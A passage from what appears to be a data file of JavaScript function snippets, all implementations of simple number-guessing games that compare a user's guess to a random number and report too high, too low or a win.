    Attempts: \"+attempts;\n }\n else if(guess>number){\n attempts++;\n alert(\"too high\")\n }\n else if(guess0;i--){\n\t\thintarr.push(Math.ceil(Math.random()*100));\n\t}\n\thintarr=shuffle(hintarr);\n\t$(\"#message\").text(hintarr);\n\n}","function checkGuess() {\n\t\tplayersGuessSubmission();\n\t\t//check win\n\t\tif (winningNumber === playersGuess) {\n\t\t\t$(\".thermometer\").html (\"\"+playersGuess+\"&deg\")\n\t\t\t$(\"#therm\").removeAttr('class');\n\t\t\t$(\"#therm\").addClass(\"thermometer scorching\");\n\t\t\t$(\".text\").append (\"

    Scorching!!!

    \")\n\t\t}\n\t\t//check errors\n\t\telse if (playersGuess > 100) {\n\t\t\t$(\".text\").append (\"

    Remember between 1 - 100!

    \")\n\t\t}\n\t\telse if (isNaN(playersGuess)) {\n\t\t\t$(\".text\").append (\"

    Not a number

    \")\n\t\t}\n\t\t//check and update\n\t\telse {\n\t\t\t$(\".thermometer\").html (\"\"+playersGuess+\"&deg\")\n\t\t\tWarmerOrColder(); \n\t\t}\n\t}","function randomizer () {\n // convert the users number to an integer\n userGuess = document.getElementById('input').value\n userGuess = parseInt(userGuess)\n\n // generate random number between 1 and 6\n randomNumber = (Math.random() * 6) + 1\n randomNumber = parseInt(randomNumber)\n // compare users guess to random numbers\n if (userGuess === randomNumber) {\n document.getElementById('answer').innerHTML = 'you win!'\n }\n}","function guessNumber() {\n console.log(\"our random number ==\" + randomNumber);\n let guess=parseFloat(inputValue.value);\n if(guess === \"\" || guess <= 0 || guess > 100 || isNaN(guess)){\n msg[0].innerHTML =\"Please enter a number between 1 and 100\";\n } \n else{\n tryChances();\n if(guess > randomNumber){\n msg[0].innerHTML =\"Number is too high\";\n }\n else if(guess < randomNumber){\n msg[0].innerHTML =\"Number is too low\";\n }\n else if(guess === randomNumber) {\n msg[0].innerHTML =\"You win\";\n btnGuess.disabled=true;\n return;\n }\n }\n}","function guessNumber()\r\n{\t\r\n\r\n\r\n\tlet userInputInt = document.getElementById(\"userGuess\").value; //grabbing the input from the user and making it a number so it doesn't come out with NaN\r\n\t\r\n\t if (userInputInt == randomNumber)\r\n\t{\r\n\t\tdocument.getElementById(\"outPut\").innerHTML = \"YOU GOT IT!!\" //making an if statement that prints out the user got it if the input matches the random number\r\n\t\tdocument.getElementById(\"check\").disabled=true; //disabling the check button when the user gets it correct so it forces them to restart if they decide to\r\n\t}\r\n\r\n\telse if (userInputInt > randomNumber) //else if statement that shows if the input is greater than the random number\r\n\t{\r\n\t\tdocument.getElementById(\"outPut\").innerHTML = \"LOWER!!\"\r\n\t\r\n\t\tnumberOfGuesses-- //everytime the user guesses wrong the number of guesses decrease by 1\r\n\t\tdocument.getElementById(\"numberOfGuesses\").innerHTML = \"Number of Guesses: \" + numberOfGuesses; //changing the number of guesses displayed\r\n\t}\r\n\t\r\n\telse\r\n\t{\r\n\t\tdocument.getElementById(\"outPut\").innerHTML = \"HIGHER!!\"\r\n\t\tnumberOfGuesses-- \t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t//if the input number is lower the output displays a statement that tells the user to guess higher\r\n\t\tdocument.getElementById(\"numberOfGuesses\").innerHTML = \"Number of Guesses: \" + numberOfGuesses;\r\n\t}\r\n\r\n\t////////////////////////////////////////////////////////////////////////////////////////////////////////////////////\r\n\tif (numberOfGuesses == 0)\r\n\t{\r\n\t\tdocument.getElementById(\"check\").disabled=true; //disabling the button after the user runs out of guesses\r\n\t\tdocument.getElementById(\"outPut\").innerHTML = \"Out of Guesses..\";\r\n\t\tsetTimeout(numGuessSleep, 1000);\t\t\t\t\t\t\t\t\t\t\r\n\t\t\r\n\r\n\t}\r\n\r\n\t//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////\r\n\r\n\tif (userInputInt > 19) //if the user inputs a number greater than the greatest random number it will throw an alert and tell you cant type over 19 and it restarts\r\n\t{\r\n\t\talert(\"You can't type any number over 19\");\r\n\t\trestartGame();\r\n\t}\r\n\r\n\telse if (userInputInt == \"\") //if the user types no input it will display a sentence\r\n\t{\r\n\t\tdocument.getElementById(\"outPut\").innerHTML = \"Type something..\";\r\n\t\tnumberOfGuesses = 5; //without this the number of guesses will decrease \r\n\t\tdocument.getElementById(\"numberOfGuesses\").innerHTML = \"Number of Guesses: \" + numberOfGuesses;\r\n\r\n\t}\r\n\r\n\telse if (userInputInt < MIN) //if the user inputs a number less than the lowest possible number it also throws an alert and tells you cant type beow 1 and it restarts\r\n\t{\r\n\t\talert(\"You can't type any number below 1.\");\r\n\t\trestartGame(); //running the restart game function\r\n\t}\r\n\r\n\r\n}","function guessing_game(guess) {\n var num = Math.ceil(Math.random() * 10);\n\n if (guess == num)\n alert('Good Work');\n else\n alert('Not matched, the number was ' + num);\n}","function guessNumber() {\n let userNumber = parseInt(userInput.value);\n let text = \"\";\n\n if (userNumber > randomNumber && userNumber <= 100) {\n text = \"demasiado alto\";\n } else if (userNumber < randomNumber) {\n text = \"demasiado bajo\";\n } else if (userNumber === randomNumber) {\n text = \"has ganado campeona\";\n } else if (userNumber > 100 || userNumber === 0) {\n text = \"el número debe estar entre 1 y 100\";\n }\n\n counter();\n showFeedback(text);\n}","function checkGuess(){\n \n // Increase the guess counter by 1\n counterGuess++;\n \n // get value from the input element\n var guessedNum = $numberInput.val();\n console.log(guessedNum);\n \n // test if value entered is valid\n var numIsValid = validateGuess(guessedNum, $messageOutput);\n \n // Check Guess against random number\n if(numIsValid === true){\n\tif(guessedNum > ranNum){\n\t\t$messageOutput.text('To high, try a lower number');\n\t}else if(guessedNum < ranNum){\n\t\t$messageOutput.text('To low, try a higher number');\t\n\t}else{\n\t\tendGame(counterGuess);\t\t\n\t}\n } \n\n} // end checkGuess function","function guessing_game(guess) {\n // Get a random integer from 1 to 10 inclusive\n var x=Math.ceil(10*Math.random());\n if(x==guess)\n console.log(\"Good Work!\");\n else\n console.log(\"Not Matched!Value is \"+x);\n return x;\n \n}","function checkguess() { \n\n// USER GUESS TAKEN FROM TEXT BOX, CONVERTED FROM A STRING AND STORED TO VAR\nvar userguess = parseInt(document.getElementById(\"input1\").value);\n\t\n// IF THE GUESS IS BIGGER \n\tif (userguess > randomnum) {\n\t\n//COUNT CLICKS VARIABLE CALLED ON AND ADDS +1 \n\t\t countClicks++;\n// RESULT \n result = \"Your guess of \" + userguess + \" is higher than the magic number.
    You have had \" + countClicks + \" guesses so far.\";\n\t\t \n } \n\t\telse if (userguess < randomnum) {\n\t\t\t countClicks++;\n result =\"Your guess of \" + userguess + \" is lower than the magic number.
    You have had \" + countClicks + \" guesses so far.\";\n\t\t \n } \n\t\telse {\n\t\t\tcountClicks++;\n result = \"Success, You win! You took \" + countClicks + \" guesses.\";\n\t\t\t\n } \n// SENDS THE RESULT TO THE DOM\n\t document.getElementById(\"result\").innerHTML = result;\n\t\n} //END OF FUNCTION - dont delete!","function userGuess(){\n var input = parseInt($(\"#userGuess\").val());\n var feedback = [\"Congrats you won! Click New Game to start another game\", \"Please enter a number\", \"Pick a number btw 1-100\", \"Very Hot\", \"Hot\", \"Warm\", \"Cold\", \"Very Cold\", \"Cold as Vanilla Ice's career\"]\n if (input == random) {\n updateFeedback(feedback[0]);\n } else if (input >= 101 || input == 0) {\n $(\"#userGuess\").val(\"\");\n $(\"#count\").text(--i);\n updateFeedback(feedback[2]);\n } else if (random - 5 <= input && input <= random + 5) {\n updateFeedback(feedback[3]);\n } else if (random - 10 <= input && input <= random + 10) {\n updateFeedback(feedback[4]); \n } else if (random - 15 <= input && input <= random + 15) {\n updateFeedback(feedback[5]);\n } else if (random - 25 <= input && input <= random + 25) {\n updateFeedback(feedback[6]);\n } else if (random - 30 <= input && input <= random + 30) {\n updateFeedback(feedback[7]);\n } else if (isNaN(input)) {\n updateFeedback(feedback[1]);\n $(\"#userGuess\").val(\"\");\n $(\"#count\").text(--i);\n } else {\n updateFeedback(feedback[8]);\n }\n }","function isGuessCorrect(randomNumber, answer) {\n //condition that checks to see if the number of guesses made by the user is still less than the total number of allowed guesses\n if (numberGuessed < numberOfGuessesAllowed) {\n //condition that checks if the guess is lesser than the goal\n if (answer > randomNumber) {\n setTimeout(function () {\n $(\"#guess\").html(`
    Guess too high. Guess Again
    `);\n }, 1000);\n }//condition that checks if the guess is greater than the goal\n if (answer < randomNumber) {\n setTimeout(function () {\n $(\"#guess\").html(`
    Guess too low. Guess Again
    `);\n }, 1000);\n }//condition that checks if the guess is the same as the goal\n if (answer === randomNumber) {\n //call back function that displays the end game result \n setTimeout(function () {\n $(\"body\").html(`

    GAME WON!

    \n `);\n $(\"#restartgame\").click(function () {\n location.reload();\n });\n }, 1000);\n }\n //call back function that displays the number of times the user has guessed as an animation on screen\n setTimeout(function () {\n $(\"#numberofguesses\").html(`
    Number of times guessed : ${numberGuessed}
    `);\n }, 1000);\n //callback function that displays the maximum number of guesses the user can make as an animation on screen\n setTimeout(function () {\n $(\"#maxnumberofguesses\").html(`
    Maximum guesses allowed : ${numberOfGuessesAllowed}
    `);\n }, 1000);\n }\n else {\n $(\"body\").html(`
    \n

    GAME OVER!

    \n
    \n `);\n $(\"#restartgame\").click(function () {\n location.reload();\n });\n }\n }","function newGame() {\n\tnum = Math.round(Math.random() * 50);\n\tguess.placeholder=\"Make your first guess\";\n\tdocument.getElementById(\"output\").innerHTML=\"You have five attempts to guess my number between 1 and 50\";\n\treset.style.display=\"none\";\n}","function check_guess() {\n \n count_timer();\n \n var guess_from_user = document.getElementById(\"number_guessed\").value; // this grabs the input from the user and stores it in the variable guess_from_user\n \n var output; // the result \n \n number_guesses_left--;\n \n number_of_guesses++;\n \n \n if (isNaN(guess_from_user) || guess_from_user < 1 || guess_from_user > 100)\n { \n output = \"Please enter a valid number\";\n } \n \n if (guess_from_user > random_number && guess_from_user > 0 && guess_from_user < 101)\n { \n output = \"You guessed to high, you have \" + number_guesses_left + \" left.\";\n \n }\n \n if (guess_from_user < random_number && guess_from_user > 0 && guess_from_user < 101)\n { \n output = \"You guessed to low, you have \" + number_guesses_left + \" left\";\n }\n \n if (guess_from_user == random_number) // if the user guesses correctly an alert box will appear\n {\n alert_box(\"Congratulations you guessed the number \" + random_number + \" correctly, it only took you \" + number_of_guesses + \" time(s), would you like to play again?\");\n }\n \n if (number_guesses_left == 0) // if the user does not guess within the amount of tries they lose\n {\n alert_box(\"You lose, the secret number was \" + random_number + \", would you like to play again?\");\n }\n \n \n document.getElementById(\"the_output\").innerHTML = output; // this displays the output based on what the user inputs regarding the loop above \n }","function checkGuess(){\n\t\t// add code here\n\t\tif(playersGuess === winningNumber) {\n\t\t\t$('#domMessage').text('Good catch, YOU WIN!!!!');\n\t\t\t$('#domMessage').css({'font-size': '60px', 'font-weight': 'bold', 'text-align': 'center', 'margin': '0', 'color': 'white', 'font-family': 'palatino','background-color':'green'});\n\t\t\t$(\".guess\").hide();\n\t\t\t$(\"#guessmessage\").hide();\n\t\t\t$(\"#Hint\").hide();\n\t\t} \n\n\t\telse if(duplicateCheck(playersGuess)===true) {\n\t\t\t$('#domMessage').text('You already tried this number; input a different one ');\n\t\t\t$('#domMessage').css({'font-size': '50px', 'font-weight': 'bold', 'text-align': 'center', 'margin': '0', 'color': 'orange', 'font-family': 'palatino'});\n\t\t}\n\n\t\telse if(guessRemaining >=1) {\n\t\t\tguessRemaining--;\n\t\t\tattempts.push(playersGuess);\n\n\t\t\tif(guessRemaining===1) {\n\t\t\t\t$('#domMessage').text('Error. This is your last guess ! ');\n\t\t\t\t$('#domMessage').css({'font-size': '50px', 'font-weight': 'bold', 'text-align': 'center', 'margin': '0', 'color': 'orange', 'font-family': 'palatino'});\n\t\t\t\tguessMessage();\n\t\t\t} else if(guessRemaining>1){\n\t\t\t\t$('#domMessage').text('You have ' + guessRemaining + ' remaining guesses.');\n\t\t\t\t$('#domMessage').css({'font-size': '50px', 'font-weight': 'bold', 'text-align': 'center', 'margin': '0', 'color': 'black', 'font-family': 'palatino'});\n\t\t\t\tguessMessage();\n\t\t\t}\n\t\t}\n\n\t\telse if(guessRemaining===0) {\n\t\t\t$('#domMessage').text('GAME OVER. Reset if you want to give it another try.');\n\t\t\t$('#domMessage').css({'font-size': '60px', 'font-weight': 'bold', 'text-align': 'center', 'margin': '0', 'color': 'white', 'font-family': 'palatino','background-color':'red'});\n\t\t\t$(\".guess\").hide();\n\t\t\t$(\"#guessmessage\").hide();\n\t\t\t$(\"#Hint\").hide();\n\t\t}\n\t}","function decideToGenerate() {\n if (numberOfGuesses === 1) {\n generateNumber();\n }\n}","function usersGuess() {\n // to get the value entered by the user\n var inputGuess = document.getElementById('guessed-field').value;\n // to parse the user input\n var userInput = parseInt(inputGuess);\n // to check if the user input is an integer which is a value above 1 and below 45\n if (isNaN(userInput) || userInput < 1 || userInput > 45) {\n clearValue();\n // to display a text alert if the conditions are not met\n textBlink();\n displayInnerHtml('alert-text', 'Please enter a number between 1 & 45');\n return;\n }\n // to check if the user input is equal to the generated number\n if (generatedNumber === userInput) {\n // message display as animation\n textBlink();\n document.getElementById('background').style.background = \"url('../mind-game/images/youwon_mobile.png')\";\n document.getElementById('end-game').click();\n displayInnerHtml(\n 'popup-text',\n 'CONGRATS!! You guessed it right in try no' + ' ' + (5 - numberOfTry)\n ); \n }\n // to check if the user input is lesser than the generated number\n else if (generatedNumber > userInput) {\n numberOfTry -= 1;\n // to check if the number of guesses is equal to zero\n if (numberOfTry === 0) {\n // message display as animation\n textBlink();\n document.getElementById('end-game').click();\n displayInnerHtml(\n 'popup-text',\n 'The number was' +\n ' ' +\n generatedNumber +\n '.'\n );\n return;\n }\n // to display the number of chances left\n displayInnerHtml(\n 'chance-alert',\n 'You have' + ' ' + numberOfTry + ' ' + 'chances left'\n );\n displayInnerHtml(\n 'alert-text',\n 'UH OH!!! Enter a value higher than' + ' ' + userInput\n );\n // to return the textinput value to emptyfield\n clearValue();\n \n } else {\n numberOfTry -= 1;\n if (numberOfTry === 0) {\n textBlink();\n displayInnerHtml(\n 'alert-text',\n 'The number was' +\n ' ' +\n generatedNumber +\n '.'\n );\n return;\n }\n displayInnerHtml(\n 'chance-alert',\n 'You have' + ' ' + numberOfTry + ' ' + 'chances left'\n );\n displayInnerHtml(\n 'alert-text',\n 'UH OH!!! Enter a value lower than' + ' ' + userInput\n );\n // to return the textinput value to emptyfield\n clearValue();\n \n }\n}","function checkNumber() {\n let userGuess = Number(guessField.value);\n //let inputType = typeof userGuess garaas oruulsan utga too esehiig shalganaa\n\n let l1, l2, l3, l4;\n l1 = (userGuess - (userGuess % 1000)) / 1000;\n l2 = ((userGuess % 1000) - (userGuess % 100)) / 100;\n l3 = ((userGuess % 100) - (userGuess % 10)) / 10;\n l4 = userGuess % 10;\n\n let a = 0,\n b = 0;\n if (random_1 == l1) a++;\n if (random_2 == l2) a++;\n if (random_3 == l3) a++;\n if (random_4 == l4) a++;\n\n if (l1 == random_2 || l1 == random_3 || l1 == random_4) b++;\n if (l2 == random_1 || l2 == random_3 || l2 == random_4) b++;\n if (l3 == random_2 || l3 == random_1 || l3 == random_4) b++;\n if (l4 == random_2 || l4 == random_3 || l4 == random_1) b++;\n\n status = document.createElement(\"p\");\n status.setAttribute(\"id\", \"p1\");\n status.textContent =\n l1 +\n \" \" +\n l2 +\n \" \" +\n l3 +\n \" \" +\n l4 +\n \" | a = \" +\n a +\n \" \" +\n \"b = \" +\n b +\n \" \";\n resultDiv.append(status);\n\n guessField.value = \"\";\n guessField.focus();\n\n if (a == 4) {\n game = document.createElement(\"label\");\n game.textContent = \"You won!!!\";\n game.style.backgroundColor = \"green\";\n resultDiv.append(game);\n setGameOver();\n }\n}","function provideHint(){\n\tvar randNum1 = Math.ceil(Math.random() * 100);\n var randNum2 = Math.ceil(Math.random() * 100);\n var hintArray = [randNum1, randNum2, winningNumber].sort(function() { return .5 - Math.random(); });\n $('.hintMessage').text(\"Try one of these: [\" + hintArray.join(', ') + \"]\");\n}","function numberguess() {\n x = Math.floor(Math.random() * 10) + 1; // returns a number between 1 and 10\n userResponse = prompt('Enter a Number between 1 and 10')\n\n if (x === userResponse) {\n alert('You guessed Correct')\n }\n else {\n alert('You guessed Wrong')\n }\n alert('Random Number was ' + x)\n\n}","function getRandomCompared() {\n let userNumber = parseInt(input.value);\n if (randomNumberSelected === userNumber) {\n printResult(result, 'You win!! 🎉');\n } else if (userNumber > 100) {\n printResult(result, 'Can\\'t be bigger than 100');\n } else if (userNumber < 0) {\n printResult(result, 'Can\\'t be smaller than 0');\n } else if (randomNumberSelected < userNumber) {\n printResult(result, 'Too hight 🌡, try again');\n add1Counter();\n } else if (randomNumberSelected > userNumber) {\n printResult(result, 'Too short ☃, try again');\n add1Counter();\n } else {\n printResult(result, 'Please, enter a valid number');\n }\n}","function checkGuess(){\n\tif(playersGuess === winningNumber){\n //$('#result').text(\"winner winner chicken dinner!\");\n return winner();\n }\n else {\n if(guesses.indexOf(playersGuess) === -1){\n guesses.push(playersGuess);\n guessMessage();\n }\n else{\n $('#result').text(\"Be more creative with your choices...\")\n } \n }\n}","function guess(numberGenerated, totalGuess, max) {\n const numberGuessed = readline.question(`Guess the number: `);\n if(numberGuessed < 0 || numberGuessed > max) {\n console.log(`\\nplease guess the number between 0 and ${max}`);\n guess(numberGenerated, totalGuess, max);\n }\n if(numberGenerated == numberGuessed) {\n totalGuess++;\n console.log(`\n Booyah....! You guessed correctly..\n Number generated is : ${numberGenerated}\n Your guess is: ${numberGuessed}\n chances you took : ${totalGuess}\n `);\n process.exit();\n } else {\n console.log(`Oops..! Your guess is wrong..!\\n`);\n totalGuess++;\n guess(numberGenerated, totalGuess, max);\n }\n}","function game(param1, param2) {\n if (param1 - Math.floor(param1) !== 0 || param2 - Math.floor(param2) !== 0)\n return;\n var random = Math.floor(Math.random() * (param2 - param1 + 1) + param1);\n var userAnswer = +prompt(\"Enter number\");\n while (random !== userAnswer) {\n console.log('Try again!');\n userAnswer = +prompt(\"Enter number\");\n }\n console.log('Gratz!');\n}","function guesses() {\n \t\tuserGuess = parseInt($(\"#guess\").val());\n\n\t \tif (userGuess < randomNumber) {\n\t\t\t$(\".message\").text(\"Your guess is too low\");\n\n\t\t} else if (userGuess > randomNumber){\n\t\t\t$(\".message\").text(\"Your guess is too high\");\n\n\t\t} else if (userGuess === randomNumber){\n\t\t\t$(\".message\").text(\"You guessed correctly!\");\n\t\t\t$(\".message\").attr(\"class\", \"success\");\n\t\t} \n\t}","function game() { \n const playerguess = document.getElementById(\"guess\").value;\n\n if (playerguess == luckynumber)\n {alert(\"omg you ARE the lucky winner, treat yourself to a drink in our newly renovated drinkroom!!\");\n }\n else if (playerguess == (luckynumber + 1))\n {alert(\"close, but yet so far!\");\n }\n else if (playerguess == (luckynumber - 1))\n {alert(\"close, but yet so far!\");\n }\n else \n {alert(\"you couldnt be more wrong! Maybe more luck next time\");}\n }","function guessingGame() {\n var guessString = prompt(\"Please guess a number 1 through 5\");\n var guessNum = parseInt(guessString);\n var randomNum = Math.floor(Math.random() * 6);\n while (guessNum != randomNum) {\n if (guessNum < randomNum) {\n guessNum = prompt(\"Nope! Too low! Please guess another number.\");\n }\n else {\n guessNum = prompt(\"Nope! Too high! Please guess another number.\");\n }\n };\n\n alert(\"You're amazing! The number was \" + randomNum);\n }","function againBtn() {\n\n document.querySelector('.guess').value = '';\n \n number = Math.trunc(Math.random() * 20 ) + 1; \n\n score = 20; \n\n displayMessage(\"Start guessing...\");\n\n UIscore(score); \n\n bgColor(\"#222\");\n\n document.querySelector('.number').textContent = \"?\";\n}","function numberGuessGame() {\n\t\n//when they click the button it starts the function and creates a message that alerts the user as to what to do. It then allows the user to enter their guess. \n\tlet message =\n \"I'm thinking of a number between 1 and 100.\\n\" +\n \"Try to guess it!\\n\" +\n \"Please enter an integer between 1 and 100.\";\n//uses the JS math function to create a random number for the user to guess \n\tlet answer = 38;\n\t//grabs their \"guess\" and creates a variable from it\n let guess;\n\t//counter variable that will count the attempts. \n\t\tlet counter = 0;\n//post test loop which will go through until number is guessed. Will add up and end as soon as user guesses number. \n do {\n\t\t\t\tcounter ++;\n guess = parseInt(prompt(message));\n\t\t\t\n if (guess < answer) {\n message = guess +\n \" is too low. Please enter another number.\";\n }\n else if (guess > answer) {\n message = guess +\n \" is too high. Please enter another number.\";\n }\n } while (guess != answer);\n\t\n\t\t//Updates the message once the user has guessed the number.\n message = guess + \" is correct! It only took you \" + counter + \" attempts to guess it! Great job!\";\n \n\t//Displays the message.\n\tdocument.getElementById('answer').innerHTML = message;\n\t\n}","function newGame() {\n inputValue.value = \"\";\n btnGuess.disabled=false;\n randomNumber = Math.floor(Math.random() * 100 + 1);\n count = 0;\n noOfTry.textContent = \"tries:\" + count;\n chance.innerHTML = \"Number of chances: 5\"; \n triesLeft=5;\n msg[0].textContent=\"Guess a number between 1 and 100\";\n}","function guessingGame(){\n\nvar randomNumber = Math.floor(Math.random() * 10) + 1;\n//console.log(randomNumber);\nvar guess = prompt('guess a number between 1 and 10!');\nconsole.log(guess);\nif(guess=null){\n\treturn\n}\n\nwhile(randomNumber !=guess){\n\tif(randomNumber > guess){\n\t\talert('your guess is too low');\n\t\t} else{\n\t\t\talert('your guess is too high')\n\t\t}\n\t guess = prompt('Guess a number between 1 and 10!');\n}\nreturn alert('you are right!')}","function provideHint(){\n\tfunction randomNumHintGen(){ //create random number each time function is called\n\t\treturn Math.floor(Math.random() * (100 - 1) + 1);\n\t}\n\tvar hintArray = [winningNumber];\n\tif (numGuesses === 1) { // one guess\n\t\tfor (var i = 0; i < 7; i++) {\n\t\t\thintArray.push(randomNumHintGen());\n\t\t}\n\t} else if (numGuesses === 2) { // two guesses\n\t\tfor (var i = 0; i < 5; i++) {\n\t\t\thintArray.push(randomNumHintGen());\n\t\t}\n\t} else if (numGuesses === 3) { // three guesses\n\t\tfor (var i = 0; i < 3; i++) {\n\t\t\thintArray.push(randomNumHintGen());\n\t\t}\n\t} else if (numGuesses === 4) { // four guesses\n\t\tfor (var i = 0; i < 1; i++) {\n\t\t\thintArray.push(randomNumHintGen());\n\t\t}\n\t}\n\treturn hintArray;\n}","function randomNumberGame(){\n var random = Math.floor((Math.random() * 20) + 1);\n console.log('random number:', random); //this will print out the random number\n var number; //this is the user input\n var attempts = 0; //this will allow me to limit total attempts\n //Then use a 'while' loop to compare user input to the random number and generate a response accordingly.\n while (number !== random && attempts < 4) {\n number = parseInt(prompt('How many cups of coffee do I drink each day?'));\n console.log('user guess:', number);\n attempts ++; //counts attempts for each answer given in loop\n\n if (number < random) {\n alert('That\\'s not enough!');\n counter ++;\n } else if (number > random) {\n alert('I like my coffee, but that\\'s too much');\n counter ++;\n } else if (isNaN(number)) {\n alert('Please give a real number');\n counter ++;\n } else if (number === random) {\n alert('You got it! Best part of waking up...');\n correct ++;\n counter ++;\n } if (attempts === 4) {\n alert('sorry, out of tries');\n }\n }\n}","function checkGuess() {\n event.preventDefault();\n\n var guessInput = document.getElementById( 'formInput' );\n var guessInputValue = formInput.value;\n\n var parsed = parseInt(guessInputValue);\n var verified = verifyInput( guessInputValue, minInput, maxInput );\n\n if ( verified === true ) {\n hideElement(errorMessageDisplay);\n \n showElement(lastGuessText);\n changeText(lastGuessText, \"Your last guess was\");\n\n showElement(guessDisplay);\n changeText(guessDisplay, guessInputValue);\n\n showElement(resultText);\n\n enableButton(resetButton);\n\n if ( parsed === solution ) {\n changeText(resultText, \"BOOM!\");\n win();\n } else if ( parsed > solution ) {\n changeText(resultText, \"That is too high!\");\n } else if ( parsed < solution ) {\n changeText(resultText, \"That is too low\");\n }\n }\n}","function questionSix(){\n var randoNum = Math.floor(Math.random() * 10) + 1;\n var opportunities = 4;\n var robotVoice = 'Guess a integer from 1 to 10!';\n\n /*beggining of while loop checks the condition to see if there are any turns left. */\n while (opportunities > 0) {\n /*Lets the user know to guess an integer and how many chances are left.*/\n var userChoice = prompt(robotVoice + ' You have ' + opportunities + ' try\\'s to go.');\n /*Lets the out of the program if they select cancel.*/\n if (!userChoice){\n break;\n }\n // /**The Number() function converts the object\n // argument to a number that represents the object's value. */\n userChoice = Number(userChoice);\n console.log('userChoice is ' + userChoice);\n console.log('Random generator number is ' + randoNum);\n\n // /**check condition of input to random number selected */\n if (userChoice === randoNum) {\n alert('thats right you guessed the random number way to go!');\n /**I need help with this part I know I need it I just dont know why. */\n opportunities = 0;\n break;\n } else {\n /*Notfies user that they were wrong and take the input decides if\n * it was higher or lower than the random number in the if statements. */\n robotVoice = 'You were close, but no, try again.';\n if (userChoice < randoNum){\n robotVoice += ' Too Low!';\n }\n if (userChoice > randoNum) {\n robotVoice += ' Too High!';\n }\n /*This decrements the opportunities each time the user enters a try. */\n opportunities = opportunities - 1;\n console.log('guessCount is ' + opportunities);\n\n }\n }\n /*This line of code sits outside the loop so that if the user cancels or fails\n * to guess correct, then they are told what the answer is. */\n alert('The Random number Generator choose ' + randoNum + ' as it\\'s number .');\n\n}","function guessWhat(result) {\nvar randomGuess = Math.floor(Math.random()*2);\nif (guessWhat ===0) {\n$(\"#guess-image\").html(\n \"\"\n );\n}\n else { \n $(\"#guess-image\").html(\n \"daniel-pascoa-253357-unsplash.jpg>\"\n);\n } \n if ( result===randomGuess){\n wins++;\n $(\"#win-lose\").html(\"

    Winner!

    \");\n $(\"#wins\").html(\"

    \" + wins + \"

    \");\n }\n else {\n losses++;\n $(\"#win-lose\").html(\"

    Loser!

    \");\n $(\"#losses\").html(\"

    \" + losses + \"

    \");\n }\n}","function guessing_game(guess) // no display\n {\n\n // Get a random integer from 1 to 10 inclusive\n console.log(\"matched or unmatched?\");\n var match, num;\n\n //for(var i = 0; i <= 10000; i++)\n //{\n num = Math.random() * 100; // Math.random() return a random number between 0 and 1\n num = Math.ceil(num); // used floor thus getting 1 among 10000 samples\n num = (num % 10) + 1; // to generate number between 1 and 10\n console.log(\"at i = \" + i + \", num = \" + num);\n //}\n\n if(guess === num)\n {\n return(\"Good Work\");\n }\n\n else\n {\n return(\"Not matched\");\n }\n\n }","function guess() {\n var number = parseInt(document.getElementById(\"your-number\").value),\n randomNumber = Math.floor(Math.random() * 10);\n if (isNaN(number) || number < 1 || number > 10) {\n document.getElementById(\"guess-h3\").innerText = \"You Have To Select An Integer Number From 1 To 10\"\n } else {\n if(number === randomNumber) {\n document.getElementById(\"guess-h3\").innerText = \"Good Work\"\n }else {\n document.getElementById(\"guess-h3\").innerText = \"Not Matched\"\n }\n }\n clear();\n}","function tryGuess() {\n\t\tsocket.cb_push(\"guess\", guess);\n\t\tsetGuess(\"\");\n\t\t//if (!util.gameOver(state.recorded, state.secret)) {\n\t\t//\tlet prev = state.recorded;\n\t//\t\tprev.push(guess);\n\t//\t\tsetState({secret: state.secret, warning: \"\", recorded: prev});\n\t//\t\tsetGuess(\"\");\n\t//\t}\n\t}","function guessNumber(){\n var randomN = Math.floor(Math.random() * 10) + 1;\n var usersN = parseInt(document.getElementById(\"guessN\").value);\n if(randomN === usersN){\n alert(\"Good Work!\");\n } else {\n var notM = document.getElementById(\"text\");\n notM.innerHTML =\"Not matched. Try again!\";\n notM.style.color=\"coral\";\n }\n}","function evaluateGuess(){ // Begin evaluateGuess\n // a) Compare the guess to the current number. If the guess is correct, return true, otherwise return false.\n if(Number(input.value) == currentNumber )\n {\n return true;\n }\n else\n {\n return false;\n }\n} // End of evaluateGuess","function guess() {\n\n //3. grab the value from the user\n let userNum = document.getElementById(\"guessNumber\").value;\n //After the user enters a guess, the textbox is cleared. \n document.getElementById(\"guessNumber\").value = \"\";\n //save the result message\n let resultMessage = ''\n\n //4. compare with the value the comp picked\n //5. if comp's num > user's num, \"too low\"\n if (computerNum > userNum) {\n resultMessage = 'too low';\n //6. if comp's num < user's num, \"too high\"\n } else if (computerNum < userNum) {\n resultMessage = 'too high';\n //7. if comp's num === user's num, \"correct\"\n } else if (computerNum == userNum) {\n\n document.getElementById(\"resultArea\").innerHTML = `${userNum} is correct! You win! :)`\n document.getElementById(\"resultArea\").classList.add(\"alert-success\");\n document.getElementById(\"guessButton\").disabled = true;\n\n timeOut()\n\n return;\n }\n\n remainingGuess--;\n\n history.push(userNum)\n\n\n //8. show the result to the user\n document.getElementById(\"resultArea\").innerHTML = `Result is ${resultMessage}`;\n document.getElementById(\"historyArea\").innerHTML = `History of you guess: ${history}`;\n document.getElementById(\"remainGuess\").innerHTML = `${remainingGuess}`\n\n // 1. make only 5 chance\n // 3. if user win, or lose the guess button will be disabled\n if (history.length == 5) {\n document.getElementById(\"guessButton\").disabled = true;\n document.getElementById(\"resultArea\").innerHTML = `The result is ${computerNum}. You ran out of guess! You lose :(`;\n alert(\"You don't have any guess left\");\n timeOut();\n }\n}","function checkWinLoss(){\n\tif(playerCounter==numToGuess){\n\t\twins++; \n\t\t$(\"#wins\").html(wins); \n\t\tresetNumbers(); \n\t\tgenerateNumbers(); \n\t}else if(playerCounter>numToGuess){\n\t\tlosses++; \n\t\t$(\"#losses\").html(losses); \n\t\tresetNumbers(); \n\t\tgenerateNumbers(); \n\t}\n}","function checkGuess () {\n var isItRepeated = $guessed.includes($guess);\n if (isItRepeated === true) {\n alreadyGuessed = true;\n } else {\n alreadyGuessed = false;\n }\n }","function check_guess(guess) {\n if (guess < correct_number) {\n turns += 1\n return \"That is too low\"\n } else if (guess > correct_number) {\n turns += 1\n return \"That is too high\"\n } else {\n turns += 1\n var current_min = $(\"#min\").val();\n var current_max = $(\"#max\").val();\n $(\"#min\").val(parseInt(current_min) - 10);\n $(\"#max\").val(parseInt(current_max) + 10);\n // clear guess input field\n $(\"#guess\").val(\"\")\n // set min-max, pick new number on new range, hide errors and messages and disable unneccessary buttons\n set_num();\n $(\"#error\").html(`That took you ${turns} turns.
    It just got harder.
